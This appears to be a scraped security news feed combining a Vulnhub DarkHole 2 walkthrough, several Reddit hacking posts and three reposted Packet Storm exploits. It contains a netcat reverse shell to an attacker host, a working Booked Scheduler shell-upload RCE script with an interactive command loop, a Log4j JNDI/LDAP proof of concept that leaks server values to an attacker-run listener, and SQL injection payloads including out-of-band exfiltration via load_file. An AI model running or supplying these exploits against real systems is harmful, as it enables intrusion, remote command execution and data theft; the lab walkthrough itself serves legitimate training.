Hacking on Medium
Microsoft detalla el troyano bancario Qakbot ampliamente activo

https://cdn-images-1.medium.com/max/1519/0*kkVBnTnIRBJbbsJr
PUBLICADO EN 13 DICIEMBRE, 2021POR DPAB

Continue reading on Medium »

Hacking Articles|Raj Chandel's Blog
DarkHole: 2 Vulnhub Walkthrough

DarkHole: 2 is a medium-hard machine created by Jihad Alqurashi for Vulnhub. This system is also put through its paces in VirtualBox. This lab is appropriate for certain experienced CTF players who want to test their talents in these settings. So, let's get started and figure out how to divide things down into small chunks. Pentesting Methodology<o:pNetwork Scanning<o:p● netdiscover<o:p

● nmap<o:p Enumeration<o:p● Abusing HTTP<o:p

● gitdumper tool <o:p Exploitation<o:p● SQL injection<o:p

● ssh<o:p Privilege Escalation<o:p● linpass.sh<o:p

● Netcat reverse shell<o:p

● User flag<o:p

● bash history<o:p

● Root flag<o:p
Level: Medium-Hard<o:p Network Scanning<o:pTo begin, we must use the netdiscover command to scan the network for the victim machine's IP address.<o:p netdiscover<o:pOur IP address is 192.168.1.179.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEiXTKCYvRjr6Qa39q_hHa0RFIFK7qcR44D3KKWTo5to3znp3SRA1k2UC5J3TWhlsg2OGCllo5CDNZt4aDEx_PcMIBILa4HS4NbNnwlA836q-w5CjK03B_ddGn_fwYcnEw6y9o0IVtvVXBnlB5jmGN2SZCSlljsgUqPLrdADWOtykPQ7smrTC8jbTxfE4w=s16000 We are now initiating Nmap to advance in this process. We did an aggressive scan (-A) for open port enumeration and discovered the following ports information:<o:p nmap -A 192.168.1.179<o:pAccording to the Nmap output, we have <o:p

● an SSH server running on port 22 <o:p

● an HTTP service running (Apache Server) on port 80, as well as an http-git page.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEi5SJXVgdnuGKxNQSTuftoyt2JjYEvg_1zOHwA9gDDzt4SSb47inEB5wC9XFXohGu32Njx4zRgE8YdLhDBYIWRSK-4hJlR5pMjy35Q_61A-awpGmVok0CiaLb6pP7bIToYViYNeW20nYvEMoj14n-I0U09QMtTv-O6PP-MnvVI9lMQXVjD_UasXzcC33Q=s16000 Enumeration<o:pFirst, we'll try to utilize HTTP. Let's check port 80 to see if anything interesting comes up. Because the Apache Server is listening on port 80, we can immediately verify it in the browser.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEhj3vQH88_dWcKQyrVmMOGAYewdNn6YtyrtwAZM5F_JFnp6TzI-A5Fhh2h9KlOSxiTAVHYLMeJ4YJ8B6p6DGv9OocZAGBzpdjOjRu2nD5ym-sSfPbmXzen_F4aEJFL8mIlEJ01XD8cK0RgZ4u87ihXRSgFJ_W11SIO3Jt87jADESxydSbc_UuRHvXMiTw=s16000 Except for the login page, the site contains no useful information. So, we decided to have a sneak peek at the login page.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEiCwq16mon2FJ-KIvcBRaJYtA67YbLwJ6eF-Sepc-ZSAec8opB_zeuL0w-mlzsA9SuQULDPWbvhlHFDvbbF06B8vCzc8tfjr5s3IJObhSoqQnIucVHG02ZRIp6u23xn1CROBzsA7a1mhJBZ2Fbvebbu4hL4iq1L4S_QA-16wLbimgWSPtdk0FdImySyRg=s16000 Then we decided to have a look at the http-git page that we discovered previously during the Nmap aggressive scan.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEi6XhioBLjHvMza2VXkMALuhzWnrt6M_G4-vojrl_rrWvE7MGC0cCiX0-ybDdpdxjV0cpaFltze9fVKaT_8AEBEBtWRSoUoNCSMRoEN3rPYWRJBMMGbTBG-LsmE52gROF9BZ9RwTlWJSGiEJBNb0sgZOrVkyh29CVGgD0CQkWQ1QhDezNtcJjjEvP2C-A=s16000 We've introduced a tool called gitdumper to improve the aesthetics of this http-git page. It is a tool for acquiring a git repository from a website to gain a better grasp of the data set.<o:p

We simply use the git clone function to install this.<o:p git clone https://github.com/arthaud/git-dumper.git<o:pcd git-dumper<o:pAfter downloading the tool, we attempt to run it with python.<o:p

Another thing we must do is offer them a directory name in which to save these git logs (in our case we named this as a backup for this http-git page).<o:p mkdir backup<o:ppython3 git_dumper.py http://192.168.1.179/.git/backup<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEiT29Oqv7yZMZBHQzCk6hKCp[...]

bj7TyN3dhxHhRytTr71H3NgziNQX2udgVCY89iKRmpsL_yu_1LH_i4sd1gmDGT52-xV_vttnbNBtS3z9xUVHq3kDc1C4_2Mn5ZtK8zaWRdrTdp6haL67O7PfRbnkqtsDhCvl3odmb2qcVTOLFvgtI5PGFR0cpOL3Fk8Ug=s16000 After that, we accessed the backup directory, and the log file had three entries. Using git, we opened one of the entries to progress in this lab. <o:p cd backup<o:pgit log<o:pgit diff a4d900a8d85e8938d3601f3cef113ee293028e10<o:pFinally, we discovered the login page credentials discovered before during http abuse.<o:p Email: lush@admin.com<o:pPassword: 321 <o:phttps://blogger.googleusercontent.com/img/a/AVvXsEjo00TFyBn5tyatnqvHADdQAm_nbpLEo6yIL2v5K2aQgOt06UdxQvOx7JXKrTBvbU33oQjg9D7Gd6ouZEEo56VqWwceF8_zl5iNIXHQVtlzAlL0GEhGNhpTdZNEwpr00b6RADtF2w497gLZHk3cWQ7snm9wrDtiTXroRdAfVW5gvouHSm73yvbjTT5U4g=s16000 Exploitation<o:pWe were directed to a strange page after checking in on that page, which we thought was suitable for SQL injection-related tactics.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEin6mds8mGlOR2Wmj6_f8udxTvweX9DMNi9WSS-mHzwDixZ7dqjRMVnJ8xuRhCLOBGfuYCageZEl-UwdbDv142SUfy4_gDpHz85fBvhX8pACuyVo37tsHIv950ifRFShjCAT9OCaiBrfEpyxuUAWzlx6aEGEMNaNuAP7-v2LJ870MkITr7_xYkR8nscyg=s16000 So, we used a burp suite to gather this page's cookies. It will be advantageous for our SQL injection strategy.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEjt70lD7SOdcfdcESTehav_vpwGY4h6cmF_UJi4KVnJt1qvaAGxprt0nIRmNmVr6iSI1Ab9AFdDE9PnVTgqzO7sVqXeTvoJB-eUbY5UGknFqimKmP-V6k49pfVN_bRu0La7Ug1_2SBFX_BOhgcRAKgFZ8gvvq1BJxW6gB3yGQfhsimrCOtYHVDB3upWyQ=s16000 These cookies were saved in a file called "sql" using the nano command. We initiated a sqlmap attack using this file, requesting the databases.<o:p nano sql<o:psqlmap -r sql --dbs --batch<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEja0kqekwbiUqJburCCruXcxRsk-RZThhg1bmLMtsLq5Q2-kQ0PDCsTzKI52va2OtxCuXGFD4tU9LbJgb3-XRDLaE9vD75wd1GW4T9rQRQY2Y4hjP-7wPODow4WrnscMR3dySbraXSZmIkQFqx0YgzxC8tRanGDbYfIU3FrZFCMTOmOQKKsscRefvk03w=s16000 We obtained a few databases in a matter of minutes. So, we initiated another command (using the -D parameter) for dumping the database named darkhole_2.<o:p sqlmap -r sql -D darkhole_2 --dump-all --batch<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgYu8JjIEht0Ur-GEtxUOk7bSen77vpLKcnYUtdt_K_zloXZqMACD-eDYlXFohwwY1e7IA7WGpsBGSm1rEmhKhGQ4Gs-h6FCPq7GbP-dOVZuksyghtHRRmGRmjzB38_O-pUNWkK2nJIfmWgmKGXwFHBfLgZ2ubnbr8adBKLosMxGRjzjy9Uo947KZyVPw=s16000 In a matter of moments, we discovered ssh credentials for the user Jehad in this dump database.<o:p User: jehad<o:pPass: fool<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEjI1l3CnG589h2HTGO5O5gX9_JSua3RyzhF05cj_7OSUpDO3WBULfEpGnNsE_w4xTgvByR1tK9J5H2yylXfYP1XsKttWHh99YCGMZpswAYTT6rvO6gssBNz4eKkNap9AfHSQyCir7MXSin7mFWMlnMR7lUOUC3ovrfrH97vntqLjWMi3XwAhMA8sHXfKQ=s16000 Now, using these ssh credentials, we logged in with the user Jehad and opened its id to authenticate it.<o:p ssh jehad@192.168.1.179<o:pid <o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgIyzYBixzw4g95TXAnXx67XPbxsBu5bqfS-P2LCSAkzNx50ys8zCUCLTm7vxtVBy4h1F8VhtzgqCCLjEL9oVX9_oDNQcRVgic2mUfgJ1k0zdVy_20m7Qjd2zwPcB3xz7FeuEWUzzjr6cazq4UZiaW4S3Xe12mMcOl6H1IVmuIo4WV0msj8nV7yAsuWXw=s16000 Privilege Escalation<o:p

It's time to start the privilege escalation process. We switched to the tmp folder and tried to run the Linpeas script with curl. This is a script that searches for potential paths to elevate privileges on Linux hosts and highlights them for a better understanding of those instances with potential exploits.<o:p curl https://raw.githubusercontent.com/carlospalop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEjdTqGZDJM0ex5b6vCyvYUoxLIZob0gtC33gpOSDt0JV3rV-jjDK9m2gAZO0W11g5wMrhN7fOqO0ttbcixPzf3GuOKpv[...]

l9bKxHElgiWsHh0_J8hlz5lawjr_cqLFDcY0Yn8bk3loKBrgRuvNdYwPoqs3dhToL7ctiAksYY3bRasPCV1QFKF5lK3lQSXhw=s16000 After running it, we saw that a PHP page for the user Losy was available on localhost port 9999. As a result, we've devised a plan to use local port forwarding to go to that page.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEhkd-2Zgwy0MNv8k7LbH4nVB49EeeDPIi6wRl_pAe9qdrxtWJvxI1-Whv0mLTGxwrmML2dAcDo45_vz76bgAzExcCNbEeM5jJAyt4Mxl2lHxj9WPatpGulOPxFlyWzqlowgCWRwAFlpYOYDwrl2Q73Rrfrn_7qpJ_EWtAIe1Z5fP-Wx-CjLS0hZ12mNqw=s16000 First, we went to the previously mentioned directory and discovered an index.php file. This tells us that we can get a command prompt (cmd) by using the previously discussed local port forwarding method for the user losy.<o:p cd /opt/web<o:pcat index.php<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgUp0wFtSrNL17D0CNDobsV23Y4T_D_052sVSa3949L_E-Cii8b9C1EZaqvANnachdEoaUnsc8bs-6JNkfmoPUH9pucflZvoztcz5DwPTna8YiPKhIrq4QRFTvzZf4edykxejyMD7ZoueX59x7U8bEJ7GCMjcVuXp8lF-dXL3Zke6BoV_y0kWVpYntr_g=s16000 It is now time to launch this assault. We attempt to login as the jehad user, using the details of local port forwarding provided in the above results we achieved.<o:p ssh jehad@192.168.1.179 -L 9999:localhost:9999<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgR26p_z0kli_TMSC4xYJUylfMzGMn6nHw4Ad-NCOJDr8kCW5gUX9UUVQyZLzJeFZzD0A_L1pKV2_ULryJVcaVvi-nG9hFwJapU92CjVrAHy9aFCdEuT5FKfrw7I7W1mYUt1P2xLVSvIJH89vEyiTAnIDbWRsAJVyMrxj45W_T_rMxYU2qKTX2GU6DEgg=s16000 Following that, we saw the user losy's command prompt in the web browser. We authenticate this by collecting this user's id.<o:p http://127.0.0.1:9999/?cmd=id<o:p https://blogger.googleusercontent.com/img/a/AVvXsEgrGzoOQk-Vk9vWwFW_jtb3co8A0P1Cn7VIBlSu_ohBL4H4OWNAUX9oByEQdbXnP6kl8nMnGHmMbpIc6fo2unNWiQfY6K_OzmscDUE0QxApWygN1pT2DU4LgffD60BsRd2tSY1SXyBuMOpYaMWbwUuVVv3aBwlXMIP_WgMHo704DikFmHbckZX0_wmKMA=s16000 Privilege Escalation<o:p

Using a netcat reverse shell on this browser as this user's cmd. We attempted a standard methods command, but it did not work in this circumstance. So, we attempted this attack after encoding it using the burp suite decoder.<o:p rm /tmpf;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.3:8888 >/tmp/f<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhZJKQ-N6evvk5KGAMzO_3o6RnvTLzppLj2XnWqy7B9rcBWygZzBQn6H-ztMh37eHCKJt9tppqxuiuHRjHKMUq58RGYbdyGetK_kQjGz6CF7FZYKi-8zo3qjJEpwfmA65YyjIvHFDtcTcT5i80ElGby6ESot3tjguTbT59cBvZgctQ6HU_JrwP0hh3AOQ=s16000 After that, we used a web browser and opened a Netcat listener on the opposite side to catch the reverse shell.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEiSN-ZVbQB5cwhCEoaT6hOY_sAsYYi485M8Wzv6QKWcMzKf631YnnpCM73H-L502FJG9IEMkWxYFX1-5OzIDKk-_csH4ooGXH80yacS0jz_FdVI_qq_A_566S4VFXSb6cBm07-6NKgvZFrHGnMWi5Z0uNmmsldxtMBx80AbGYKBRqKvA3Lg-Rq0n5XA_w=s16000 nc -lvp 8888<o:ppython3 -c 'import pty; pty.spawn("/bin/bash")'<o:pWe obtained the user losy and the user flag of this lab after capturing the reverse shell.<o:p

We discovered the bash history of this lab in a folder, which can be quite beneficial in obtaining root.<o:p cd /home/losy<o:pcat user.txt<o:pcat .bash_history<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEjaxgNwuSs7ULXsFX7gLinzYwUz89JXIiGHfprW4xzo3xiqgeVC_oynBBNFjHxDy5xN_kU1rbhm2FQMz8MdNCVRznTzT7LZFx2_0SmnMzDt02XxuyEuqKF5YPCyVZLz1D2LmuQSmg8-bHTYfPN4L4K0IkKBY2UzwagOYh2BeQPCxCGQlqAqTojfo4aBtA=s16000 We discovered losy's login credentials in this bash history file.<o:p losy: gang<o:pFollowing that, we tested this user's sudo permissions. We discovered that we could reach the root using a python one-liner.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEiXZ8lXN7btde8EU2an1ZfCWY6OX8d1pGJ3FHS16yahRFv3iPDO2F3L2uMeRp_Gi7RnL9UQNawiV_TikcN9QXg8jX9eKl4YcZXy9_YcsSAY8EbQ[...]

Ei-waUU3kehs_83EMtnf03ebpk5FCdttcv1XKaKCBM-U0FdHUgWcYW89sxRoK8mOTISA4fjTT4evuQ=s16000 Now run this python one-liner with sudo and the losy credential.<o:p sudo python3 -c 'import pty; pty.spawn("/bin/bash")'<o:pHurray!! We obtained the well as root flag. I must add that it was a great activity to complete, and I applaud the author for creating this lab.<o:p cat root.txt<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgxHSWy97gMDymA7uFakJKToMLom42qLY5j4OQbIROC51PJVsvI-DsIqxg5CsDitdEtyOK38yakCTu419RKq8FZbltinWoHIGhPUeVkc6D_cn2T9J-e8PxMckUOTBs-OHrENTPsmsj0TH14tKEJwHGH_ygzLgS7kJf5cylWQrm78d91__T0BGIiXYynNQ=s16000

hacking: security in practice
How to counter a hacker

Hey I’m not a hacker myself but am having issues with some guy from China repedatly trying to log into all my accounts on everything I have idk how he even found me or why he’s trying to do this but what can I do to counter this he won’t stop and I’m getting annoyed

submitted by /u/Detomaso375
[link] [comments]

hacking: security in practice
Denigma is an AI that explains code in understandable English. What hackers think and how is it useful to you?

https://external-preview.redd.it/TURTuNPNWEVaytaL2TQlpZ9oV-v4zxHfzZCWhg-KWZ4.jpg?width=640&crop=smart&auto=webp&s=f3c7cf32f0dde1faf8ddbe13adcf17a6c425be10 submitted by /u/bawlerblog
[link] [comments]

hacking: security in practice
RAT without port-forwarding.

https://gamingforum.to/Thread-HOW-TO-RAT-ANYONE-WITHOUT-PORT-FORWARDING--1701

This may be a dumb question but I'm honestly wondering if I would be able to just connect to any WIFI or hotspot and then be able to connect to any clients. Would this be possible with what's put here? I don't have residential internet anymore and probably going to be using a hotspot from now on.

submitted by /u/ZikeSike2459
[link] [comments]

Exploit Collector
Booked Scheduler 2.7.5 Shell Upload

https://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png
Booked Scheduler version 2.75 authenticated remote shell upload exploit.

MD5 | 6d37cb26dd9060c96e1c2773001febd8

Download
# Exploit Title: Booked Scheduler 2.7.5 - Remote Command Execution (RCE) (Authenticated)
# Vulnerability founder: AkkuS
# Date: 13/12/2021
# Exploit Author: 0sunday
# Vendor Homepage: https://www.bookedscheduler.com/
# Software Link: N/A
# Version: Booked Scheduler 2.7.5
# Tester on: Kali 2021.2
# CVE: CVE-2019-9581

#!/usr/bin/python3

import sys
import requests
from random import randint
def login():
login_payload = {
"email": username,
"password": password,
"login": "submit",
#"language": "en_us"
}

login_req = request.post(
target+"/booked/Web/index.php",
login_payload,
verify=False,
allow_redirects=True
)

if login_req.status_code == 200:
print ("[+] Logged in successfully.")
else:
print ("[-] Wrong credentials !")
exit()
return login_req.text.split('CSRF_TOKEN" value=')[1].split(";")[0].split('/')[0].split('"')[1]
def upload_shell(csrf):

boundary = str(randint(123456789012345678901234567890, 999999999999999999999999999999))

_headers ={ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Accept-Language": "en-US,en;q=0.5",
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "multipart/form-data; boundary=---------------------------"+boundary,
"Origin": target,
"Connection": "close",
"Referer": target + "/booked/Web/admin/manage_theme.php?update"

}

data = "-----------------------------"+boundary+"\r\n"
data += "Content-Disposition: form-data; name=\"LOGO_FILE\"\r\n\n\n"
data += "-----------------------------"+boundary+"\r\n"
data += "Content-Disposition: form-data; name=\"FAVICON_FILE\"; filename=\"simple_shell.php\"\r\n"
data += "Content-Type: application/x-php\r\n\n"
data += "<?php\r\n\n"
data += "-----------------------------"+boundary+"\r\n"
data += "Content-Disposition: form-data; name=\"CSS_FILE\"\r\n\n\n"
data += "-----------------------------"+boundary+"\r\n"
data += "Content-Disposition: form-data; name=\"CSRF_TOKEN\"\r\n\n"
data += csrf + "\r\n"
data += "-----------------------------"+boundary+"--\r\n"

# In case you need some debugging
_proxies = {
'http': 'http://127.0.0.1:8080'
}

upload_req = request.post(
target+"/booked/Web/admin/manage_theme.php?action=update",
headers = _headers,
data = data
#proxies=_proxies
)
def shell():
shell_req = request.get(target+"/booked/Web/custom-favicon.php")

if shell_req.status_code == 200:

print("[+] Uploaded shell successfully")
print("[+] " + target + "/booked/Web/custom-favicon.php?cmd=")
else:
print("[-] Shell uploading failed")
exit(1)

print()
cmd = ''
while(cmd != 'exit'):
cmd = input("$ ")
shell_req = request.get(target+"/booked/Web/custom-favicon.php" + '?cmd='+cmd)
print(shell_req.text)
if len(sys.argv) != 4:
print ("[+] Usage : "+ sys.argv[0] + " https://target:port username password")
exit()

target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
request = requests.session()

csrf = login()
upload_shell(csrf)
shell()

Source:packetstormsecurity.com

Exploit Collector
Apache Log4j2 2.14.1 Information Disclosure

https://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png
Apache Log4j2 versions 2.14.1 and below information disclosure exploit.

MD5 | 06d3e26d3fef24f9f391415ab31a372d

Download
# Exploit Title: Apache Log4j2 2.14.1 - Information Disclosure
# Date: 12/12/2021
# Exploit Author: leonjza
# Vendor Homepage: https://logging.apache.org/log4j/2.x/
# Version: <=
# CVE: CVE-2021-44228

#!/usr/bin/env python3

# Pure python ENV variable leak PoC for CVE-2021-44228
# Original PoC: https://twitter.com/Black2Fan/status/1470281005038817284
#
# 2021 @leonjza

import argparse
import socketserver
import threading
import time

import requests

LDAP_HEADER = b'\x30\x0c\x02\x01\x01\x61\x07\x0a\x01\x00\x04\x00\x04\x00\x0a'
class ThreadedTCPRequestHandler(socketserver.BaseRequestHandler):
def handle(self) -> None:
print(f' i| new connection from {self.client_address[0]}')

sock = self.request
sock.recv(1024)
sock.sendall(LDAP_HEADER)

data = sock.recv(1024)
data = data[9:] # strip header

# example response
#
# ('Java version 11.0.13\n'
# '\x01\x00\n'
# '\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x0b'
# 'objectClass0\x00\x1b0\x19\x04\x172.16.840.1.113730.3.4.2')

data = data.decode(errors='ignore').split('\n')[0]
print(f' v| extracted value: {data}')
class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass
def main():
parser = argparse.ArgumentParser(description='a simple log4j
<=2.14
'(ref:
https://twitter.com/Black2Fan/status/1470281005038817284)')
parser.add_argument('--target', '-t', required=True, help='target uri')
parser.add_argument('--listen-host', default='0.0.0.0',
help='exploit server host to listen on
(default: 127.0.0.1)')
parser.add_argument('--listen-port', '-lp', default=8888,
help='exploit server port to listen on (default: 8888)')
parser.add_argument('--exploit-host', '-eh', required=True,
default='127.0.0.1',
help='host where (this) exploit server is reachable')
parser.add_argument('--leak', '-l', default='${java:version}',
help='value to leak. '
'see:
https://twitter.com/Rayhan0x01/status/1469571563674505217 '
'(default: ${java:version})')
args = parser.parse_args()

print(f' i| starting server on {args.listen_host}:{args.listen_port}')
server = ThreadedTCPServer((args.listen_host, args.listen_port),
ThreadedTCPRequestHandler)

serv_thread = threading.Thread(target=server.serve_forever)
serv_thread.daemon = True
serv_thread.start()
time.sleep(1)
print(f' i| server started')

payload = f'${{jndi:ldap://{args.exploit_host}:{args.listen_port}/{args.leak}}}'
print(f' i| sending exploit payload {payload} to {args.target}')

try:
r = requests.get(args.target, headers={'User-Agent': payload})
print(f' i| response status code: {r.status_code}')
print(f' i| response: {r.text}')
except Exception as e:
print(f' e| failed to make request: {e}')
finally:
server.shutdown()
server.server_close()
if __name__ == '__main__':
main()

Source:packetstormsecurity.com

Exploit Collector
Ticket Booking 1.0 SQL Injection

https://4.bp.blogspot.com/-9fc43SI8K3Q/WWlvhaBflZI/AAAAAAAAIQU/x3qxae6Q3eMl1Wf8m-XtOKQ3MaKSPPWfQCLcBGAs/s1600/h90.png
Ticket Booking version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | eb4417ce999f1346fdfecb7380c618e6

Download
## Title: Ticket Booking 1.0 suffer from SQL - Injenction
## Author: nu11secur1ty
## Date: 12.14.2021
## Vendor: https://code-projects.org/ticket-booking-in-php-with-source-code/
## Software: https://code-projects.org/ticket-booking-in-php-with-source-code/

## Description:
The password parameter appears to be vulnerable to SQL injection
attacks. The payload '+(select
load_file('\\\\dl2edbuqvk9djxngyslxk9z7hynrbqzh25uslga.nu11secur1tyPenetrationTestingEngineer.net\\yba'))+'
was submitted in the password parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed. The attacker can be retrieving all
information from this system.

[+] Payload:

Parameter: email (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: email=-9424' OR 1979=1979#&password=hacked' or
'4861'='4870&login_submit=

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: email=pwned@nu11secur1tyPenetrationTestingEngineer.net'
OR (SELECT 3647 FROM(SELECT COUNT(*),CONCAT(0x717a6b7a71,(SELECT
(ELT(3647=3647,1))),0x71716a7a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- RnIV&password=hacked' or
'4861'='4870&login_submit=

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=pwned@nu11secur1tyPenetrationTestingEngineer.net'
AND (SELECT 2804 FROM (SELECT(SLEEP(5)))urgo)-- taiV&password=hacked'
or '4861'='4870&login_submit=

Type: UNION query
Title: MySQL UNION query (NULL) - 7 columns
Payload: email=pwned@nu11secur1tyPenetrationTestingEngineer.net'
UNION ALL SELECT
NULL,CONCAT(0x717a6b7a71,0x5379666f7a4b7256695768444c63617a724465514467724f4c59744a4d574a6d4c697974424d4c47,0x71716a7a71),NULL,NULL,NULL,NULL,NULL#&password=hacked'
or '4861'='4870&login_submit=

## Reproduce:
[href]()

## Proof and Exploit:
[href](https://streamable.com/vtr95i)
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http:

Source:packetstormsecurity.com